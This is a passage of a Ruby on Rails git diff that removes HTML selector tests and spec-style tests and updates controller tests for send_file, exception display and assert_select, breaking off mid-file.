- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # Match only element with both class names.
- select("*.bar.foo")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- end
-
-
- def test_attribute
- parse(%Q{<div id="1"></div><p id="2" title="" bar="foo"></p><div id="3" title="foo"></div>})
- # Match element with attribute.
- select("div[title]")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- # Match any element with attribute.
- select("*[title]")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # Match element with attribute value.
- select("*[title=foo]")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- # Match element with attribute and attribute value.
- select("[bar=foo][title]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Not case sensitive.
- select("[BAR=foo][TiTle]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- end
-
-
- def test_attribute_quoted
- parse(%Q{<div id="1" title="foo"></div><div id="2" title="bar"></div><div id="3" title=" bar "></div>})
- # Match without quotes.
- select("[title = bar]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Match with single quotes.
- select("[title = 'bar' ]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Match with double quotes.
- select("[title = \"bar\" ]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Match with spaces.
- select("[title = \" bar \" ]")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- end
-
-
- def test_attribute_equality
- parse(%Q{<div id="1" title="foo bar"></div><div id="2" title="barbaz"></div>})
- # Match (fail) complete value.
- select("[title=bar]")
- assert_equal 0, @matches.size
- # Match space-separate word.
- select("[title~=foo]")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- select("[title~=bar]")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- # Match beginning of value.
- select("[title^=ba]")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Match end of value.
- select("[title$=ar]")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- # Match text in value.
- select("[title*=bar]")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- # Match first space separated word.
- select("[title|=foo]")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- select("[title|=bar]")
- assert_equal 0, @matches.size
- end
-
-
- #
- # Selector composition: groups, sibling, children
- #
-
-
- def test_selector_group
- parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
- # Simple group selector.
- select("h1,h3")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- select("h1 , h3")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # Complex group selector.
- parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
- select("h1 a, h3 a")
- assert_equal 2, @matches.size
- assert_equal "foo", @matches[0].attributes["href"]
- assert_equal "baz", @matches[1].attributes["href"]
- # And now for the three selector challenge.
- parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
- select("h1 a, h2 a, h3 a")
- assert_equal 3, @matches.size
- assert_equal "foo", @matches[0].attributes["href"]
- assert_equal "bar", @matches[1].attributes["href"]
- assert_equal "baz", @matches[2].attributes["href"]
- end
-
-
- def test_sibling_selector
- parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
- # Test next sibling.
- select("h1+*")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- select("h1+h2")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- select("h1+h3")
- assert_equal 0, @matches.size
- select("*+h3")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- # Test any sibling.
- select("h1~*")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- select("h2~*")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- end
-
-
- def test_children_selector
- parse(%Q{<div><p id="1"><span id="2"></span></p></div><div><p id="3"><span id="4" class="foo"></span></p></div>})
- # Test child selector.
- select("div>p")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- select("div>span")
- assert_equal 0, @matches.size
- select("div>p#3")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- select("div>p>span")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- # Test descendant selector.
- select("div p")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- select("div span")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- select("div *#3")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- select("div *#4")
- assert_equal 1, @matches.size
- assert_equal "4", @matches[0].attributes["id"]
- # This is here because it failed before when whitespaces
- # were not properly stripped.
- select("div .foo")
- assert_equal 1, @matches.size
- assert_equal "4", @matches[0].attributes["id"]
- end
-
-
- #
- # Pseudo selectors: root, nth-child, empty, content, etc
- #
-
-
- def test_root_selector
- parse(%Q{<div id="1"><div id="2"></div></div>})
- # Can only find element if it's root.
- select(":root")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- select("#1:root")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- select("#2:root")
- assert_equal 0, @matches.size
- # Opposite for nth-child.
- select("#1:nth-child(1)")
- assert_equal 0, @matches.size
- end
-
-
- def test_nth_child_odd_even
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Test odd nth children.
- select("tr:nth-child(odd)")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # Test even nth children.
- select("tr:nth-child(even)")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- end
-
-
- def test_nth_child_a_is_zero
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Test the third child.
- select("tr:nth-child(0n+3)")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- # Same but an can be omitted when zero.
- select("tr:nth-child(3)")
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- # Second element (but not every second element).
- select("tr:nth-child(0n+2)")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Before first and past last returns nothing.:
- assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
- select("tr:nth-child(0)")
- assert_equal 0, @matches.size
- select("tr:nth-child(5)")
- assert_equal 0, @matches.size
- end
-
-
- def test_nth_child_a_is_one
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # a is group of one, pick every element in group.
- select("tr:nth-child(1n+0)")
- assert_equal 4, @matches.size
- # Same but a can be omitted when one.
- select("tr:nth-child(n+0)")
- assert_equal 4, @matches.size
- # Same but b can be omitted when zero.
- select("tr:nth-child(n)")
- assert_equal 4, @matches.size
- end
-
-
- def test_nth_child_b_is_zero
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # If b is zero, pick the n-th element (here each one).
- select("tr:nth-child(n+0)")
- assert_equal 4, @matches.size
- # If b is zero, pick the n-th element (here every second).
- select("tr:nth-child(2n+0)")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # If a and b are both zero, no element selected.
- select("tr:nth-child(0n+0)")
- assert_equal 0, @matches.size
- select("tr:nth-child(0)")
- assert_equal 0, @matches.size
- end
-
-
- def test_nth_child_a_is_negative
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Since a is -1, picks the first three elements.
- select("tr:nth-child(-n+3)")
- assert_equal 3, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- assert_equal "3", @matches[2].attributes["id"]
- # Since a is -2, picks the first in every second of first four elements.
- select("tr:nth-child(-2n+3)")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- # Since a is -2, picks the first in every second of first three elements.
- select("tr:nth-child(-2n+2)")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- end
-
-
- def test_nth_child_b_is_negative
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Select last of four.
- select("tr:nth-child(4n-1)")
- assert_equal 1, @matches.size
- assert_equal "4", @matches[0].attributes["id"]
- # Select first of four.
- select("tr:nth-child(4n-4)")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- # Select last of every second.
- select("tr:nth-child(2n-1)")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- # Select nothing since an+b always < 0
- select("tr:nth-child(-1n-1)")
- assert_equal 0, @matches.size
- end
-
-
- def test_nth_child_substitution_values
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Test with ?n?.
- select("tr:nth-child(?n?)", 2, 1)
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "3", @matches[1].attributes["id"]
- select("tr:nth-child(?n?)", 2, 2)
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- select("tr:nth-child(?n?)", 4, 2)
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Test with ? (b only).
- select("tr:nth-child(?)", 3)
- assert_equal 1, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- select("tr:nth-child(?)", 5)
- assert_equal 0, @matches.size
- end
-
-
- def test_nth_last_child
- parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # Last two elements.
- select("tr:nth-last-child(-n+2)")
- assert_equal 2, @matches.size
- assert_equal "3", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- # All old elements counting from last one.
- select("tr:nth-last-child(odd)")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- end
-
-
- def test_nth_of_type
- parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # First two elements.
- select("tr:nth-of-type(-n+2)")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- # All old elements counting from last one.
- select("tr:nth-last-of-type(odd)")
- assert_equal 2, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- assert_equal "4", @matches[1].attributes["id"]
- end
-
-
- def test_first_and_last
- parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
- # First child.
- select("tr:first-child")
- assert_equal 0, @matches.size
- select(":first-child")
- assert_equal 1, @matches.size
- assert_equal "thead", @matches[0].name
- # First of type.
- select("tr:first-of-type")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- select("thead:first-of-type")
- assert_equal 1, @matches.size
- assert_equal "thead", @matches[0].name
- select("div:first-of-type")
- assert_equal 0, @matches.size
- # Last child.
- select("tr:last-child")
- assert_equal 1, @matches.size
- assert_equal "4", @matches[0].attributes["id"]
- # Last of type.
- select("tr:last-of-type")
- assert_equal 1, @matches.size
- assert_equal "4", @matches[0].attributes["id"]
- select("thead:last-of-type")
- assert_equal 1, @matches.size
- assert_equal "thead", @matches[0].name
- select("div:last-of-type")
- assert_equal 0, @matches.size
- end
-
-
- def test_only_child_and_only_type_first_and_last
- # Only child.
- parse(%Q{<table><tr></tr></table>})
- select("table:only-child")
- assert_equal 0, @matches.size
- select("tr:only-child")
- assert_equal 1, @matches.size
- assert_equal "tr", @matches[0].name
- parse(%Q{<table><tr></tr><tr></tr></table>})
- select("tr:only-child")
- assert_equal 0, @matches.size
- # Only of type.
- parse(%Q{<table><thead></thead><tr></tr><tr></tr></table>})
- select("thead:only-of-type")
- assert_equal 1, @matches.size
- assert_equal "thead", @matches[0].name
- select("td:only-of-type")
- assert_equal 0, @matches.size
- end
-
-
- def test_empty
- parse(%Q{<table><tr></tr></table>})
- select("table:empty")
- assert_equal 0, @matches.size
- select("tr:empty")
- assert_equal 1, @matches.size
- parse(%Q{<div> </div>})
- select("div:empty")
- assert_equal 1, @matches.size
- end
-
-
- def test_content
- parse(%Q{<div> </div>})
- select("div:content()")
- assert_equal 1, @matches.size
- parse(%Q{<div>something </div>})
- select("div:content()")
- assert_equal 0, @matches.size
- select("div:content(something)")
- assert_equal 1, @matches.size
- select("div:content( 'something' )")
- assert_equal 1, @matches.size
- select("div:content( \"something\" )")
- assert_equal 1, @matches.size
- select("div:content(?)", "something")
- assert_equal 1, @matches.size
- select("div:content(?)", /something/)
- assert_equal 1, @matches.size
- end
-
-
- #
- # Test negation.
- #
-
-
- def test_element_negation
- parse(%Q{<p></p><div></div>})
- select("*")
- assert_equal 2, @matches.size
- select("*:not(p)")
- assert_equal 1, @matches.size
- assert_equal "div", @matches[0].name
- select("*:not(div)")
- assert_equal 1, @matches.size
- assert_equal "p", @matches[0].name
- select("*:not(span)")
- assert_equal 2, @matches.size
- end
-
-
- def test_id_negation
- parse(%Q{<p id="1"></p><p id="2"></p>})
- select("p")
- assert_equal 2, @matches.size
- select(":not(#1)")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- select(":not(#2)")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- end
-
-
- def test_class_name_negation
- parse(%Q{<p class="foo"></p><p class="bar"></p>})
- select("p")
- assert_equal 2, @matches.size
- select(":not(.foo)")
- assert_equal 1, @matches.size
- assert_equal "bar", @matches[0].attributes["class"]
- select(":not(.bar)")
- assert_equal 1, @matches.size
- assert_equal "foo", @matches[0].attributes["class"]
- end
-
-
- def test_attribute_negation
- parse(%Q{<p title="foo"></p><p title="bar"></p>})
- select("p")
- assert_equal 2, @matches.size
- select(":not([title=foo])")
- assert_equal 1, @matches.size
- assert_equal "bar", @matches[0].attributes["title"]
- select(":not([title=bar])")
- assert_equal 1, @matches.size
- assert_equal "foo", @matches[0].attributes["title"]
- end
-
-
- def test_pseudo_class_negation
- parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
- select("p")
- assert_equal 2, @matches.size
- select("p:not(:first-child)")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- select("p:not(:nth-child(2))")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- end
-
-
- def test_negation_details
- parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
- assert_raise(ArgumentError) { select(":not(") }
- assert_raise(ArgumentError) { select(":not(:not())") }
- select("p:not(#1):not(#3)")
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- end
-
-
- def test_select_from_element
- parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
- select("div")
- @matches = @matches[0].select("p")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- end
-
-
-protected
-
- def parse(html)
- @html = HTML::Document.new(html).root
- end
-
- def select(*selector)
- @matches = HTML.selector(*selector).select(@html)
- end
-
-end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 5e9053da5b..c002cf4d8f 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -9,6 +9,7 @@ end
class SendFileController < ActionController::Base
include TestFileUtils
+ include ActionController::Testing
layout "layouts/standard" # to make sure layouts don't interfere
attr_writer :options
@@ -25,12 +26,13 @@ class SendFileController < ActionController::Base
end
end
+class SendFileWithActionControllerLive < SendFileController
+ include ActionController::Live
+end
+
class SendFileTest < ActionController::TestCase
- tests SendFileController
include TestFileUtils
- Mime::Type.register "image/png", :png unless defined? Mime::PNG
-
def setup
@controller = SendFileController.new
@request = ActionController::TestRequest.new
@@ -144,7 +146,7 @@ class SendFileTest < ActionController::TestCase
}
@controller.headers = {}
- assert_raise(ArgumentError){ @controller.send(:send_file_headers!, options) }
+ assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) }
end
def test_send_file_headers_guess_type_from_extension
@@ -196,4 +198,12 @@ class SendFileTest < ActionController::TestCase
assert_equal 200, @response.status
end
end
+
+ def test_send_file_with_action_controller_live
+ @controller = SendFileWithActionControllerLive.new
+ @controller.options = { :content_type => "application/x-ruby" }
+
+ response = process('file')
+ assert_equal 200, response.status
+ end
end
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
index 888791b874..f7eba1ef43 100644
--- a/actionpack/test/controller/show_exceptions_test.rb
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -32,7 +32,7 @@ module ShowExceptions
test 'show diagnostics from a local ip if show_detailed_exceptions? is set to request.local?' do
@app = ShowExceptionsController.action(:boom)
- ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
+ ['127.0.0.1', '127.0.0.127', '127.12.1.1', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
self.remote_addr = ip_address
get '/'
assert_match(/boom/, body)
@@ -47,7 +47,7 @@ module ShowExceptions
end
end
- class ShowExceptionsOverridenController < ShowExceptionsController
+ class ShowExceptionsOverriddenController < ShowExceptionsController
private
def show_detailed_exceptions?
@@ -55,15 +55,15 @@ module ShowExceptions
end
end
- class ShowExceptionsOverridenTest < ActionDispatch::IntegrationTest
+ class ShowExceptionsOverriddenTest < ActionDispatch::IntegrationTest
test 'show error page' do
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
get '/', {'detailed' => '0'}
assert_equal "500 error fixture\n", body
end
test 'show diagnostics message' do
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
get '/', {'detailed' => '1'}
assert_match(/boom/, body)
end
@@ -71,23 +71,23 @@ module ShowExceptions
class ShowExceptionsFormatsTest < ActionDispatch::IntegrationTest
def test_render_json_exception
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
get "/", {}, 'HTTP_ACCEPT' => 'application/json'
assert_response :internal_server_error
assert_equal 'application/json', response.content_type.to_s
- assert_equal({ :status => '500', :error => 'boom!' }.to_json, response.body)
+ assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_json, response.body)
end
def test_render_xml_exception
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
get "/", {}, 'HTTP_ACCEPT' => 'application/xml'
assert_response :internal_server_error
assert_equal 'application/xml', response.content_type.to_s
- assert_equal({ :status => '500', :error => 'boom!' }.to_xml, response.body)
+ assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_xml, response.body)
end
def test_render_fallback_exception
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
get "/", {}, 'HTTP_ACCEPT' => 'text/csv'
assert_response :internal_server_error
assert_equal 'text/html', response.content_type.to_s
@@ -96,7 +96,7 @@ module ShowExceptions
class ShowFailsafeExceptionsTest < ActionDispatch::IntegrationTest
def test_render_failsafe_exception
- @app = ShowExceptionsOverridenController.action(:boom)
+ @app = ShowExceptionsOverriddenController.action(:boom)
@exceptions_app = @app.instance_variable_get(:@exceptions_app)
@app.instance_variable_set(:@exceptions_app, nil)
$stderr = StringIO.new
diff --git a/actionpack/test/controller/spec_style_test.rb b/actionpack/test/controller/spec_style_test.rb
deleted file mode 100644
index e118c584ca..0000000000
--- a/actionpack/test/controller/spec_style_test.rb
+++ /dev/null
@@ -1,208 +0,0 @@
-require "abstract_unit"
-
-class ApplicationController < ActionController::Base; end
-class ModelsController < ApplicationController; end
-module Admin
- class WidgetsController < ApplicationController; end
-end
-
-# ApplicationController
-describe ApplicationController do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-describe ApplicationController, :index do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-describe ApplicationController, "unauthenticated user" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-describe "ApplicationControllerTest" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-describe "ApplicationControllerTest", :index do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-describe "ApplicationControllerTest", "unauthenticated user" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ApplicationController, @controller
- end
- end
- end
-end
-
-# ModelsController
-describe ModelsController do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-describe ModelsController, :index do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-describe ModelsController, "unauthenticated user" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-describe "ModelsControllerTest" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-describe "ModelsControllerTest", :index do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-describe "ModelsControllerTest", "unauthenticated user" do
- describe "nested" do
- describe "even deeper" do
- it "exists" do
- assert_kind_of ModelsController, @controller
- end
- end
- end
-end
-
-# Nested Admin::WidgetsControllerTest
-module Admin
- class WidgetsControllerTest < ActionController::TestCase
- test "exists" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-
- describe WidgetsController do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
- end
-
- describe WidgetsController, "unauthenticated users" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
- end
-end
-
-class Admin::WidgetsControllerTest < ActionController::TestCase
- test "exists here too" do
- assert_kind_of Admin::WidgetsController, @controller
- end
-end
-
-describe Admin::WidgetsController do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
-
-describe Admin::WidgetsController, "unauthenticated users" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
-
-describe "Admin::WidgetsController" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
-
-describe "Admin::WidgetsControllerTest" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
-
-describe "Admin::WidgetsController", "unauthenticated users" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
-
-describe "Admin::WidgetsControllerTest", "unauthenticated users" do
- describe "index" do
- it "respond successful" do
- assert_kind_of Admin::WidgetsController, @controller
- end
- end
-end
diff --git a/actionpack/test/controller/spec_type_test.rb b/actionpack/test/controller/spec_type_test.rb
deleted file mode 100644
index 13be8a3405..0000000000
--- a/actionpack/test/controller/spec_type_test.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require "abstract_unit"
-
-class ApplicationController < ActionController::Base; end
-class ModelsController < ApplicationController; end
-
-class ActionControllerSpecTypeTest < ActiveSupport::TestCase
- def assert_controller actual
- assert_equal ActionController::TestCase, actual
- end
-
- def refute_controller actual
- refute_equal ActionController::TestCase, actual
- end
-
- def test_spec_type_resolves_for_class_constants
- assert_controller MiniTest::Spec.spec_type(ApplicationController)
- assert_controller MiniTest::Spec.spec_type(ModelsController)
- end
-
- def test_spec_type_resolves_for_matching_strings
- assert_controller MiniTest::Spec.spec_type("WidgetController")
- assert_controller MiniTest::Spec.spec_type("WidgetControllerTest")
- assert_controller MiniTest::Spec.spec_type("Widget Controller Test")
- # And is not case sensitive
- assert_controller MiniTest::Spec.spec_type("widgetcontroller")
- assert_controller MiniTest::Spec.spec_type("widgetcontrollertest")
- assert_controller MiniTest::Spec.spec_type("widget controller test")
- end
-
- def test_spec_type_wont_match_non_space_characters
- refute_controller MiniTest::Spec.spec_type("Widget Controller\tTest")
- refute_controller MiniTest::Spec.spec_type("Widget Controller\rTest")
- refute_controller MiniTest::Spec.spec_type("Widget Controller\nTest")
- refute_controller MiniTest::Spec.spec_type("Widget Controller\fTest")
- refute_controller MiniTest::Spec.spec_type("Widget ControllerXTest")
- end
-end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
index bdca1d4d77..ba2ff7d12c 100644
--- a/actionpack/test/controller/test_case_test.rb
+++ b/actionpack/test/controller/test_case_test.rb
@@ -1,5 +1,7 @@
require 'abstract_unit'
require 'controller/fake_controllers'
+require 'active_support/json/decoding'
+require 'rails/engine'
class TestCaseTest < ActionController::TestCase
class TestController < ActionController::Base
@@ -57,6 +59,10 @@ class TestCaseTest < ActionController::TestCase
render :text => request.protocol
end
+ def test_headers
+ render text: request.headers.env.to_json
+ end
+
def test_html_output
render :text => <<HTML
<html>
@@ -127,6 +133,14 @@ XML
render :nothing => true
end
+ def test_without_body
+ render html: '<div class="foo"></div>'.html_safe
+ end
+
+ def test_with_body
+ render html: '<body class="foo"></body>'.html_safe
+ end
+
private
def generate_url(opts)
@@ -158,6 +172,42 @@ XML
end
end
+ class DefaultUrlOptionsCachingController < ActionController::Base
+ before_action { @dynamic_opt = 'opt' }
+
+ def test_url_options_reset
+ render text: url_for(params)
+ end
+
+ def default_url_options
+ if defined?(@dynamic_opt)
+ super.merge dynamic_opt: @dynamic_opt
+ else
+ super
+ end
+ end
+ end
+
+ def test_assert_select_without_body
+ get :test_without_body
+
+ assert_select 'body', 0
+ assert_select 'div.foo'
+ end
+
+ def test_assert_select_with_body
+ get :test_with_body
+
+ assert_select 'body.foo'
+ end
+
+ def test_url_options_reset
+ @controller = DefaultUrlOptionsCachingController.new
+ get :test_url_options_reset
+ assert_nil @request.params['dynamic_opt']
+ assert_match(/dynamic_opt=opt/, @response.body)
+ end
+
def test_raw_post_handling
params = Hash[:page, {:name => 'page name'}, 'some key', 123]
post :render_raw_post, params.dup
@@ -193,15 +243,10 @@ XML
assert_equal 200, @response.status
end
- def test_head_params_as_sting
+ def test_head_params_as_string
assert_raise(NoMethodError) { head :test_params, "document body", :id => 10 }
end
- def test_options
- options :test_params
- assert_equal 200, @response.status
- end
-
def test_process_without_flash
process :set_flash
assert_equal '><', flash['test']
@@ -281,13 +326,6 @@ XML
assert_equal "/test_case_test/test/test_uri/7", @response.body
end
- def test_process_with_old_api
- assert_deprecated do
- process :test_uri, :id => 7
- assert_equal "/test_case_test/test/test_uri/7", @response.body
- end
- end
-
def test_process_with_request_uri_with_params_with_explicit_uri
@request.env['PATH_INFO'] = "/explicit/uri"
process :test_uri, "GET", :id => 7
@@ -337,168 +375,6 @@ XML
assert_equal "bar", assigns[:bar]
end
- def test_assert_tag_tag
- process :test_html_output
-
- # there is a 'form' tag
- assert_tag :tag => 'form'
- # there is not an 'hr' tag
- assert_no_tag :tag => 'hr'
- end
-
- def test_assert_tag_attributes
- process :test_html_output
-
- # there is a tag with an 'id' of 'bar'
- assert_tag :attributes => { :id => "bar" }
- # there is no tag with a 'name' of 'baz'
- assert_no_tag :attributes => { :name => "baz" }
- end
-
- def test_assert_tag_parent
- process :test_html_output
-
- # there is a tag with a parent 'form' tag
- assert_tag :parent => { :tag => "form" }
- # there is no tag with a parent of 'input'
- assert_no_tag :parent => { :tag => "input" }
- end
-
- def test_assert_tag_child
- process :test_html_output
-
- # there is a tag with a child 'input' tag
- assert_tag :child => { :tag => "input" }
- # there is no tag with a child 'strong' tag
- assert_no_tag :child => { :tag => "strong" }
- end
-
- def test_assert_tag_ancestor
- process :test_html_output
-
- # there is a 'li' tag with an ancestor having an id of 'foo'
- assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
- # there is no tag of any kind with an ancestor having an href matching 'foo'
